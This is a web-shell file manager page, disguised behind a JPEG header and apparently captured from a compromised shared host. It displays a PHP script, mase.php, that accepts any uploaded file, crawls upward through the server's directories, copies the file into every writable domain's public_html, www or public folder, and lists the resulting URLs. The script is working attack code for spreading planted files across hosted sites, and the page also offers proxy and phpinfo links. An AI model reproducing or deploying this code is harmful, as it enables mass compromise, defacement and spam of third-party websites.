ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/rtp4.selerakas.site/mase.php
Back
<?php // 155151i是多少多少da query string if (empty($_SERVER['QUERY_STRING'])) { $url = $_SERVER['PHP_SELF'] . '?p='; header('Location: ' . $url); exit; } ?> <?php // Mulai session di awal session_start(); // === Fungsi Penulisan File yang Lebih Kuat (Dari Versi Revisi) === /** * Menulis konten file ke tujuan dengan beberapa metode untuk memastikan keberhasilan. * @param string $fileContent Konten file yang akan ditulis. * @param string $destPath Path tujuan file. * @return bool True jika berhasil, false jika gagal. */ function write_file_to_destination($fileContent, $destPath) { // Metode 1: file_put_contents standar dengan LOCK_EX $putResult = @file_put_contents($destPath, $fileContent, LOCK_EX); if ($putResult !== false && filesize($destPath) === strlen($fileContent)) { return true; // Berhasil } // Bersihkan jika gagal @unlink($destPath); // Metode 2: Atomic Write (tulis ke file temp, lalu rename) $tempPath = $destPath . '.tmp.' . uniqid(); $putResult = @file_put_contents($tempPath, $fileContent, LOCK_EX); if ($putResult !== false && filesize($tempPath) === strlen($fileContent)) { if (@rename($tempPath, $destPath)) { return true; // Berhasil } } // Metode 3: Menggunakan fopen/fwrite/fclose $handle = @fopen($destPath, 'wb'); if ($handle) { if (@fwrite($handle, $fileContent) !== false && @fflush($handle)) { @fclose($handle); if (filesize($destPath) === strlen($fileContent)) { return true; } } @fclose($handle); } // Bersihkan file temp jika gagal @unlink($tempPath); @unlink($destPath); return false; // Semua metode gagal } // === Fungsi replicate dengan LOGIKA PEMBACAAN FOLDER VERSI AWAL === function replicate_uploaded_file($fileTmpPath, $fileName) { static $once = false; if ($once) return []; $once = true; // Verifikasi file sumber ada dan tidak kosong if (!file_exists($fileTmpPath) || filesize($fileTmpPath) == 0) { error_log("Error: File sumber tidak ada atau kosong: $fileTmpPath"); return []; } // BACA KONTEN FILE SEKALI SAJA DI AWAL $fileContent = @file_get_contents($fileTmpPath); if ($fileContent === false) { error_log("Error: Tidak bisa membaca konten file dari: $fileTmpPath"); return []; } $originalSize = strlen($fileContent); $start = __DIR__; $urls = []; $sep = DIRECTORY_SEPARATOR; $debugInfo = []; // --- LOGIKA PEMBACAAN FOLDER VERSI AWAL --- while ($start !== '/') { // Cek folder "domains" if (preg_match('/\/u[\w]+$/', $start) && is_dir("$start/domains")) { foreach (scandir("$start/domains") as $dom) { if ($dom === '.' || $dom === '..') continue; // Daftar direktori publik yang akan dicek $publicDirs = ['public_html', 'www', 'public']; foreach ($publicDirs as $pubDirName) { $pub = "$start/domains/$dom/$pubDirName"; if (is_dir($pub) && is_writable($pub)) { $destPath = $pub . $sep . $fileName; // GUNAKAN FUNGSI PENULISAN YANG LEBIH KUAT if (write_file_to_destination($fileContent, $destPath)) { $urls[] = "http://$dom/" . urlencode($fileName); $debugInfo[] = "Berhasil menyalin ke: $destPath (Ukuran: " . filesize($destPath) . " bytes)"; } else { $debugInfo[] = "Gagal menyalin ke: $destPath"; } } } // Path langsung ke /home/user/domains/domain.com $direct = "$start/domains/$dom"; if (is_dir($direct) && is_writable($direct)) { $destPath = $direct . $sep . $fileName; // GUNAKAN FUNGSI PENULISAN YANG LEBIH KUAT if (write_file_to_destination($fileContent, $destPath)) { $urls[] = "http://$dom/" . urlencode($fileName); $debugInfo[] = "Berhasil menyalin ke: $destPath (Ukuran: " . filesize($destPath) . " bytes)"; } else { $debugInfo[] = "Gagal menyalin ke: $destPath"; } } } } // Cek domain langsung di /home/namadomain.com foreach (scandir($start) as $dir) { if ($dir === '.' || $dir === '..') continue; $full = "$start/$dir"; if (!is_dir($full)) continue; // Langsung di /home/namadomain.com if (preg_match('/\.[a-z]{2,6}$/i', $dir) && is_writable($full)) { $destPath = $full . $sep . $fileName; // GUNAKAN FUNGSI PENULISAN YANG LEBIH KUAT if (write_file_to_destination($fileContent, $destPath)) { $urls[] = "http://$dir/" . urlencode($fileName); $debugInfo[] = "Berhasil menyalin ke: $destPath (Ukuran: " . filesize($destPath) . " bytes)"; } else { $debugInfo[] = "Gagal menyalin ke: $destPath"; } } // Di /home/namadomain.com/public_html, www, atau public $publicDirs = ['public_html', 'www', 'public']; foreach ($publicDirs as $pubDirName) { $pubDir = "$full/$pubDirName"; if (is_dir($pubDir) && is_writable($pubDir)) { $destPath = $pubDir . $sep . $fileName; // GUNAKAN FUNGSI PENULISAN YANG LEBIH KUAT if (write_file_to_destination($fileContent, $destPath)) { $urls[] = "http://$dir/" . urlencode($fileName); $debugInfo[] = "Berhasil menyalin ke: $destPath (Ukuran: " . filesize($destPath) . " bytes)"; } else { $debugInfo[] = "Gagal menyalin ke: $destPath"; } } } } $start = dirname($start); } // === Tambahan: jika ada subdomain, tambahkan domain utama di paling awal === foreach ($urls as $u) { if (preg_match('#https?://([^.]+)\.([^.]+\.[a-z]{2,6})/#i', $u, $m)) { $main = "http://" . $m[2] . "/" . urlencode($fileName); array_unshift($urls, $main); break; } } $_SESSION['debugInfo'] = $debugInfo; return array_unique($urls); // Hindari URL duplikat } // === Form upload if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) { $fileTmpPath = $_FILES['fileToUpload']['tmp_name']; $fileName = $_FILES['fileToUpload']['name']; $fileSize = $_FILES['fileToUpload']['size']; // Tampilkan informasi file asli echo "<p class='blue'>📄 File: " . htmlspecialchars($fileName) . " (Ukuran: " . $fileSize . " bytes)</p>"; $urls = replicate_uploaded_file($fileTmpPath, $fileName); if (!empty($urls)) { echo "<p class='green'>✅ File berhasil direplikasi ke:</p><ul>"; foreach ($urls as $u) echo "<li><a href='$u' target='_blank'>$u</a></li>"; echo "</ul>"; // Tampilkan informasi debug jika ada if (isset($_SESSION['debugInfo']) && !empty($_SESSION['debugInfo'])) { echo "<details><summary>Debug Information</summary><ul>"; foreach ($_SESSION['debugInfo'] as $info) { echo "<li>" . htmlspecialchars($info) . "</li>"; } echo "</ul></details>"; unset($_SESSION['debugInfo']); // Hapus debug info setelah ditampilkan } echo "<hr>"; } else { echo "<p class='red'>⚠️ Replikasi gagal.</p>"; // Tampilkan informasi debug jika ada if (isset($_SESSION['debugInfo']) && !empty($_SESSION['debugInfo'])) { echo "<details><summary>Debug Information</summary><ul>"; foreach ($_SESSION['debugInfo'] as $info) { echo "<li>" . htmlspecialchars($info) . "</li>"; } echo "</ul></details>"; unset($_SESSION['debugInfo']); // Hapus debug info setelah ditampilkan } } } else { echo "<p class='red'>Tidak ada file yang diunggah atau terjadi kesalahan.</p>"; if (isset($_FILES['fileToUpload'])) { echo "<p>Kode error: " . $_FILES['fileToUpload']['error'] . "</p>"; } } } // === Form HTML sederhana echo '<form method="POST" enctype="multipart/form-data"> <input type="file" name="fileToUpload" required> <button type="submit">Upload & Replicate</button> </form>'; ?>
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 2.2 |
proxy
|
phpinfo
|
Settings